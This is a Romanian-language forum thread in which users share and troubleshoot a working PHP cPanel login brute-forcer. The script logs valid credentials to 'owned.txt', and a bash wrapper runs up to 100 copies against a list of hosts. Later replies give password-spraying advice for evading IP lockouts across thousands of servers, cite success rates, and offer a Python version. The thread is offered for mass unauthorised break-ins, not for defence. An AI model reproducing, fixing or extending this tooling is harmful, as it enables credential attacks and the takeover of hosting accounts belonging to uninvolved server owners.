Jump to content
shop_toolz

Problema Cpanel Bruteforce

Recommended Posts

Posted

Noroc, propun urmatorul subiect de discutii:

Am realizat urmatoarele chestii:

brute.php:

<?php

error_reporting(0);

function cpanel_check($host,$user,$pass,$timeout){

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "https://".$host.":2083");

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);

curl_setopt($ch, CURLOPT_USERPWD, $user.":".$pass);

curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);

curl_setopt($ch, CURLOPT_FAILONERROR, 1);

$data = curl_exec($ch);

if ( curl_errno($ch) == 28 ) {

return "Request Time Out";

exit;

}

elseif ( curl_errno($ch) == 0 ){

echo "Good: $user:$pass:$host\r\n";

if(!($_OutFile = fopen("owned.txt", "a"))) ExitF ("Cannot open the log file");

fputs($_OutFile, "$user,$pass,$host - valid login information!!!\r\n");

exit() ;

}

else

echo "Bad: $user:$pass:$host\r\n";

curl_close($ch);

}

$host=$argv[1];

$user=str_replace("http://","",$host);

$user=str_replace("www.","",$user);

$user=str_replace("-","",$user);

$user=substr($user,0,8);

$passwords = file_get_contents("passwords.txt");

$passwords = explode("\n",$passwords);

foreach ($passwords as $pass){

if($pass!=""){

cpanel_check($host,$user,$pass,3);}}

?>

Si "metoda de multi-threading",

#!/bin/bash

IPFILE="cpanels.txt"

cat $IPFILE | while read IP; do

CMD=`ps -eaf | grep -c brute.php`

if [ "$CMD" -lt "100" ]; then

php brute.php $IP &

else

sleep 10

fi

done

Problema e ca nu prinde nimic. Nu gasesc o problema la el, la 3-4 cpanele bune verifica loginul, daca ii dau 2000 urluri de cpanel nu face nimic..nu inteleg de ce. Daca bag un cpanel bun in restul de urluri la fel, nu-lk ia.

Posted

Dupa 6 logari gresite.

Sunt foarte multe servere cu parola 123456/password/qwerty. Daca iti faci o lista cu 6 parole, prinzi binisor. In plus, am un php bruteforce single thread care aduce rezultate bune. (10-15 loginuri/500 servere cu cpanele).

Posted
eu nu inteleg brute-ul daca eu am ban pe ip dupa 3 logari gresite

Partea frumoasa e cand te blocheaza 5 minute pentru o logare gresita la ftp, e asa de fun cand gresesti parola la ftp si stai 5 minute sa te uiti cum ploua afara.

Posted (edited)

@eusimplu: o solutie ar fi urmatoarea.

Mod de functionare:

//Citirea primei linii din passwords.txt (123456)

//Incarcarea tuturor ipurilor.

//Foreach, pentru fiecare ip se incearca parola 123456.

//Citirea urmatoarei linii din passwords.txt(password)

//reluarea ciclului de bruteforce..etc

Asta ar rezolva in unele cazuri problema cu banip, deoarece la 10.000 servere in bruteforce ar trebui sa fie destul timp intre 2 login attempts.

Am rescris functia de bruteforce si am adaugat o verificare, este cpanel sau nu.

Edited by Zatarra
Posted
Dupa 6 logari gresite.

Sunt foarte multe servere cu parola 123456/password/qwerty. Daca iti faci o lista cu 6 parole, prinzi binisor. In plus, am un php bruteforce single thread care aduce rezultate bune. (10-15 loginuri/500 servere cu cpanele).

Esti sigur de rata care ai dat-o ? 10:500 mi se pare FOARTE ingaduitoare.

Daca esti sigur, si spui asta din experienta, pot sa fac eu varianta in python, in modul cum ai specificat cu incercarea parolelor.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...